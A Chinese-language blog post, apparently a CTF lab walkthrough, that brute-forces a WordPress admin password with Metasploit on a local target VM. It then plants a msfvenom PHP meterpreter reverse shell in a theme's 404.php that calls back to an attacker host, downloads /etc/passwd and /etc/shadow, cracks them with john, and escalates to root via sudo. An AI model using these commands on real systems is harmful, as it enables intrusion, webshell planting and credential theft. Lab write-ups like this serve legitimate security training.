1. 程式人生 > 實用技巧 >web安全暴力破解

web安全暴力破解

宣告:此部落格只是記錄自己的ctf學習過程,請勿用於非法途徑。

窮舉法的基本思想是根據題目的部分條件確定答案的大致範圍,並在此範圍內對所有可能的情況逐一驗證,知道全部情況驗證完畢。若某個情況驗證符合題目的全部條件,則為本問題的一個解;若全部情況驗證後都不符合題目的全部條件,則本題無解。窮舉法也稱為列舉法。

web安全中的暴力破解也是利用嘗試所有的可能性最終獲取正確的結果。

靶場IP地址:192.168.31.61

掃描主機服務資訊以及服務版本:

nmap -sV 192.168.31.61

快速掃描主機全部資訊:

nmap -T4 -A -v 192.168.31.61

開放了http服務

可以使用瀏覽器開啟http://ip:port/敏感頁面,檢視敏感資訊,嘗試找到可利用的位置

同時也可以使用nikto探測敏感資訊:

nikto -host http://192.168.31.61

提示我們/secret/是一個敏感目錄:

使用瀏覽器訪問看一看:

點選login in嘗試登陸,彈出如下介面:

那就得想辦法登陸進去,如果使用暴力破解的話至少需要知道使用者名稱吧

補充: 這時候會出現這麼個問題,如果用的是域名訪問可能會訪問不了:

這時就需要在kali中編輯本地的host檔案:

gedit /etc/hosts

將靶機的IP地址與站名都輸進去;

儲存,再重新訪問即可

使用metasploit進行暴力破解:

首先得使用wpscan對目標站點的使用者名稱進行列舉:

wpscan --url www.vtcsec.com/secret/ --enumerate u

發現使用者名稱admin

那麼接下來就使用metasploit破解使用者名稱admin對應的密碼:

msfconsole

msf5 > use auxiliary/scanner/http/wordpress_login_enum

msf5 auxiliary(scanner/http/wordpress_login_enum) > set rhosts 192.168.31.61

msf5 auxiliary(scanner/http/wordpress_login_enum) > set pass_file /usr/share/wordlists/dirb/common.txt

msf5 auxiliary(scanner/http/wordpress_login_enum) > set username admin

msf5 auxiliary(scanner/http/wordpress_login_enum) > set targeturi /secret/

msf5 auxiliary(scanner/http/wordpress_login_enum) > run

破解成功:

使用這對賬號和密碼登陸伺服器後臺成功:

接下來還是老套路,上傳webshell獲取控制權:

先在攻擊機制作webshell:

在kali linux終端輸入如下程式碼:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.31.113 lport=4444 -f raw

會生成如下程式碼,註釋符不要哦:

將複製下來的程式碼覆蓋網站後臺的404.php程式碼處並上傳:

然後就是在攻擊機端使用metasploit監聽該webshell了:

msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.31.113
msf5 exploit(multi/handler) > show options

檢視結果如下:

啟動監聽:

msf5 exploit(multi/handler) > run

接下來使用瀏覽器來訪問目標站點的404檔案:

http://192.168.31.61/secret/wp-content/themes/twentyseventeen/404.php

發現返回shell成功:

使用sysinfo檢視系統的資訊,使用shell載入靶場的shell:

通過id檢視當前使用者,發現還不是root使用者:

那怎麼提升許可權呢:

先exit回到meterpreter:

下載/etc/passwd和/etc/shadow:

meterpreter > download /etc/passwd
meterpreter > download /etc/shadow

然後回到kali linux的終端:

先ls一下檢視是否下載成功

使用unshadow命令:

unshadow passwd shadow > cracked

然後ls一下,發現能找到cracked檔案,重定向成功

破解一下靶機上存在的使用者名稱和密碼:

john cracked

發現了這麼一對使用者名稱和密碼:

使用該使用者名稱和密碼進行提權:

在meterpreter中進入shell,並嘗試登陸這個使用者:

提示必須要在一個終端裡操作:

老操作:

python -c "import pty;pty.spawn('/bin/bash')"

返回給我們一個終端的頁面:

再進行提權,使用之前暴力破解得到的使用者名稱和密碼進行登入:

發現登陸成功,但還是不是root許可權

輸入:

sudo -l

並輸入密碼

然後獲得可以執行的操作:

然後輸入如下命令:

sudo bash

成功獲得root許可權:

本題結。